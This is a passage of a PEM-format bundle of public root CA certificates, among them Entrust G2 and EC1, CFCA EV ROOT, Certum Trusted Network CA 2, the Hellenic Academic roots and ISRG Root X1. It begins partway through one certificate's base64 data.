qy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoS
mJxZZoY+rfGwyj4GD3vwEUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFn
ol57plzy9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9VGxyh
LrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ2fjXctscvG29ZV/v
iDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsVWaFHVCkugyhfHMKiq3IXAAaOReyL
4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gDW/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8B
Af8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMw
DQYJKoZIhvcNAQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj
t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHVDRDtfULAj+7A
mgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9TaDKQGXSc3z1i9kKlT/YPyNt
GtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8GlwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFt
m6/n6J91eEyrRjuazr8FGF1NFTwWmhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMx
NRF4eKLg6TCMf4DfWN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4
Mhn5+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJtshquDDI
ajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhAGaQdp/lLQzfcaFpPz+vC
ZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ
3Wl9af0AVqW3rLatt8o+Ae+c
-----END CERTIFICATE-----

Entrust Root Certification Authority - G2
=========================================
-----BEGIN CERTIFICATE-----
MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNV
BAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVy
bXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ug
b25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIw
HhcNMDkwNzA3MTcyNTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoT
DUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMx
OTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25s
eTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP
/vaCeb9zYQYKpSfYs1/TRU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXz
HHfV1IWNcCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hWwcKU
s/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1U1+cPvQXLOZprE4y
TGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0jaWvYkxN4FisZDQSA/i2jZRjJKRx
AgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ6
0B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5Z
iXMRrEPR9RP/jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ
Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v1fN2D807iDgi
nWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4RnAuknZoh8/CbCzB428Hch0P+
vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmHVHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xO
e4pIb4tF9g==
-----END CERTIFICATE-----

Entrust Root Certification Authority - EC1
==========================================
-----BEGIN CERTIFICATE-----
MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkGA1UEBhMCVVMx
FjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVn
YWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXpl
ZCB1c2Ugb25seTEzMDEGA1UEAxMqRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5
IC0gRUMxMB4XDTEyMTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2Fs
LXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQg
dXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt
IEVDMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHy
AsWfoPZb1YsGGYZPUxBtByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef
9eNi1KlHBz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
FLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVCR98crlOZF7ZvHH3h
vxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nXhTcGtXsI/esni0qU+eH6p44mCOh8
kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G
-----END CERTIFICATE-----

CFCA EV ROOT
============
-----BEGIN CERTIFICATE-----
MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE
CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB
IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw
MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD
DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV
BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD
7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN
uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW
ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7
xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f
py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K
gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol
hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ
tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf
BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB
/wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q
ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua
4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG
E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX
BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn
aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy
PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX
kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C
ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
-----END CERTIFICATE-----

OISTE WISeKey Global Root GB CA
===============================
-----BEGIN CERTIFICATE-----
MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBtMQswCQYDVQQG
EwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNl
ZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAw
MzJaFw0zOTEyMDExNTEwMzFaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYD
VQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEds
b2JhbCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3HEokKtaX
scriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGxWuR51jIjK+FTzJlFXHtP
rby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk
9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNku7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4o
Qnc/nSMbsrY9gBQHTC5P99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvg
GUpuuy9rM2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZI
hvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrghcViXfa43FK8+5/ea4n32cZiZBKpD
dHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0
VQreUGdNZtGn//3ZwLWoo4rOZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEui
HZeeevJuQHHfaPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic
Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM=
-----END CERTIFICATE-----

SZAFIR ROOT CA2
===============
-----BEGIN CERTIFICATE-----
MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6ZW5pb3dhIFMuQS4xGDAWBgNV
BAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkwNzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJ
BgNVBAYTAlBMMSgwJgYDVQQKDB9LcmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYD
VQQDDA9TWkFGSVIgUk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5Q
qEvNQLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT3PSQ1hNK
DJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw3gAeqDRHu5rr/gsUvTaE
2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr63fE9biCloBK0TXC5ztdyO4mTp4CEHCdJ
ckm1/zuVnsHMyAHs6A6KCpbns6aH5db5BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwi
ieDhZNRnvDF5YTy7ykHNXGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsFAAOC
AQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw8PRBEew/R40/cof5
O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOGnXkZ7/e7DDWQw4rtTw/1zBLZpD67
oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCPoky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul
4+vJhaAlIDf7js4MNIThPIGyd05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6
+/NNIxuZMzSgLvWpCz/UXeHPhJ/iGcJfitYgHuNztw==
-----END CERTIFICATE-----

Certum Trusted Network CA 2
===========================
-----BEGIN CERTIFICATE-----
MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCBgDELMAkGA1UE
BhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMuQS4xJzAlBgNVBAsTHkNlcnR1
bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIGA1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29y
ayBDQSAyMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQ
TDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENl
cnRpZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENB
IDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWADGSdhhuWZGc/IjoedQF9
7/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+o
CgCXhVqqndwpyeI1B+twTUrWwbNWuKFBOJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40b
Rr5HMNUuctHFY9rnY3lEfktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2p
uTRZCr+ESv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1mo130
GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02isx7QBlrd9pPPV3WZ
9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOWOZV7bIBaTxNyxtd9KXpEulKkKtVB
Rgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgezTv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pye
hizKV/Ma5ciSixqClnrDvFASadgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vM
BhBgu4M1t15n3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZI
hvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQF/xlhMcQSZDe28cmk4gmb3DW
Al45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTfCVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuA
L55MYIR4PSFk1vtBHxgP58l1cb29XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMo
clm2q8KMZiYcdywmdjWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tM
pkT/WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jbAoJnwTnb
w3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksqP/ujmv5zMnHCnsZy4Ypo
J/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Kob7a6bINDd82Kkhehnlt4Fj1F4jNy3eFm
ypnTycUm/Q1oBEauttmbjL4ZvrHG8hnjXALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLX
is7VmFxWlgPF7ncGNf/P5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7
zAYspsbiDrW5viSP
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions RootCA 2015
=======================================================
-----BEGIN CERTIFICATE-----
MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcT
BkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0
aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl
YXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAx
MTIxWjCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMg
QWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNV
BAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIw
MTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDC+Kk/G4n8PDwEXT2QNrCROnk8Zlrv
bTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+eh
iGsxr/CL0BgzuNtFajT0AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+
6PAQZe104S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06CojXd
FPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV9Cz82XBST3i4vTwr
i5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrDgfgXy5I2XdGj2HUb4Ysn6npIQf1F
GQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2
fu/Z8VFRfS0myGlZYeCsargqNhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9mu
iNX6hME6wGkoLfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc
Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVdctA4GGqd83EkVAswDQYJKoZI
hvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0IXtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+
D1hYc2Ryx+hFjtyp8iY/xnmMsVMIM4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrM
d/K4kPFox/la/vot9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+y
d+2VZ5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/eaj8GsGsVn
82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnhX9izjFk0WaSrT2y7Hxjb
davYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQl033DlZdwJVqwjbDG2jJ9SrcR5q+ss7F
Jej6A7na+RZukYT1HCjI/CbM1xyQVqdfbzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVt
J94Cj8rDtSvK6evIIVM4pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGa
JI7ZjnHKe7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0vm9q
p/UsQu0yrbYhnr68
-----END CERTIFICATE-----

Hellenic Academic and Research Institutions ECC RootCA 2015
===========================================================
-----BEGIN CERTIFICATE-----
MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0
aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u
cyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj
aCBJbnN0aXR1dGlvbnMgRUNDIFJvb3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEw
MzcxMlowgaoxCzAJBgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmlj
IEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5MUQwQgYD
VQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIEVDQyBSb290
Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKgQehLgoRc4vgxEZmGZE4JJS+dQS8KrjVP
dJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJajq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoK
Vlp8aQuqgAkkbH7BRqNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O
BBYEFLQiC4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaeplSTA
GiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7SofTUwJCA3sS61kFyjn
dc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR
-----END CERTIFICATE-----

ISRG Root X1
============
-----BEGIN CERTIFICATE-----
MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAwTzELMAkGA1UE
BhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2VhcmNoIEdyb3VwMRUwEwYDVQQD
EwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQG
EwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMT
DElTUkcgUm9vdCBYMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54r
Vygch77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+0TM8ukj1
3Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6UA5/TR5d8mUgjU+g4rk8K
b4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sWT8KOEUt+zwvo/7V3LvSye0rgTBIlDHCN
Aymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyHB5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ
4Q7e2RCOFvu396j3x+UCB5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf
1b0SHzUvKBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWnOlFu
hjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTnjh8BCNAw1FtxNrQH
usEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbwqHyGO0aoSCqI3Haadr8faqU9GY/r
OPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CIrU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4G
A1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY
9umbbjANBgkqhkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL
ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ3BebYhtF8GaV
0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KKNFtY2PwByVS5uCbMiogziUwt
hDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJw
TdwJx4nLCgdNbOhdjsnvzqvHu7UrTkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nx
e5AW0wdeRlN8NwdCjNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZA
JzVcoyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq4RgqsahD
YVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPAmRGunUHBcnWEvgJBQl9n
JEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57demyPxgcYxn/eR44/KJ4EBs+lVDR3veyJ
m+kXQ99b21/+jh5Xos1AnX5iItreGCc=
-----END CERTIFICATE-----

